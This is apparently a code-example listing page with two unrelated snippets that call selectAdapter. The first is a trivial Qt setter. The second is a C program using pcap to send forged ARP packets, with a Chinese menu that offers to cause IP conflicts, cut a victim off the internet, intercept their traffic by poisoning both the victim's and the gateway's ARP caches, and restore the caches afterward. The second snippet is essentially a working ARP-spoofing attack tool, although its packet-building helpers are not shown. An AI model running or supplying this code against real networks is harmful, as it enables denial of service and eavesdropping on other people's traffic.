Exemple #1
0
void IPSettings::setAdapter(QString adapter)
{
    _adapter = adapter;
    selectAdapter(_adapter);
}
Exemple #2
0
int main() {
	unsigned char my_mac[MAC_LEN], gateway_mac[MAC_LEN], target_mac[MAC_LEN];
	char gateway_ip[MAX_IP_LEN], target_ip[MAX_IP_LEN];
	//select adapter
	pcap_t *adapter;
	selectAdapter(&adapter);
	puts("-----------------------------------------------------------------------------------");
	//input
	printf("Ta的ip\n>");
	scanf("%s", target_ip);
	printf("Ta的MAC,格式为xxxxxxxxxxxx(12位)\n>");
	inputMac(target_mac);
	printf("网关的ip\n>");
	scanf("%s", gateway_ip);
	printf("网关的MAC\n>");
	inputMac(gateway_mac);
	printf("你的MAC\n>");
	inputMac(my_mac);
	puts("-----------------------------------------------------------------------------------");
	//select
	int type;
	ARP_PKT target_pkt, gateway_pkt;
	while (1) {
		puts("1.使某人IP冲突");
		puts("2.禁止某人上网");
		puts("3.监听某人流量");
		puts("4.恢复原样");
		printf("我有一个大胆的想法,我想...:");
		scanf("%d", &type);
		switch (type) {
		case 1:
			makePkt(&target_pkt, target_ip, (unsigned char *)FAKE_MAC, target_ip, target_mac);
			for (int i = 0; i < 10; i++) {
				pcap_sendpacket(adapter, (unsigned char *)&target_pkt, sizeof(ARP_PKT));
				Sleep(100);
			}
			break;
		case 2:
			makePkt(&target_pkt, gateway_ip, (unsigned char *)FAKE_MAC, target_ip, target_mac);
			makePkt(&gateway_pkt, target_ip, (unsigned char *)FAKE_MAC, gateway_ip, gateway_mac);
			pcap_sendpacket(adapter, (unsigned char *)&target_pkt, sizeof(ARP_PKT));
			pcap_sendpacket(adapter, (unsigned char *)&gateway_pkt, sizeof(ARP_PKT));
			break;
		case 3:
			makePkt(&target_pkt, gateway_ip, my_mac, target_ip, target_mac);
			makePkt(&gateway_pkt, target_ip, my_mac, gateway_ip, gateway_mac);
			pcap_sendpacket(adapter, (unsigned char *)&target_pkt, sizeof(ARP_PKT));
			pcap_sendpacket(adapter, (unsigned char *)&gateway_pkt, sizeof(ARP_PKT));
			break;
		case 4:
			makePkt(&target_pkt, gateway_ip, gateway_mac, target_ip, target_mac);
			makePkt(&gateway_pkt, target_ip, target_mac, gateway_ip, gateway_mac);
			pcap_sendpacket(adapter, (unsigned char *)&target_pkt, sizeof(ARP_PKT));
			pcap_sendpacket(adapter, (unsigned char *)&gateway_pkt, sizeof(ARP_PKT));
			Sleep(200);
			pcap_sendpacket(adapter, (unsigned char *)&target_pkt, sizeof(ARP_PKT));
			pcap_sendpacket(adapter, (unsigned char *)&gateway_pkt, sizeof(ARP_PKT));
			break;
		}
		puts("Done.");
		puts("-----------------------------------------------------------------------------------");
	}
	return 0;
}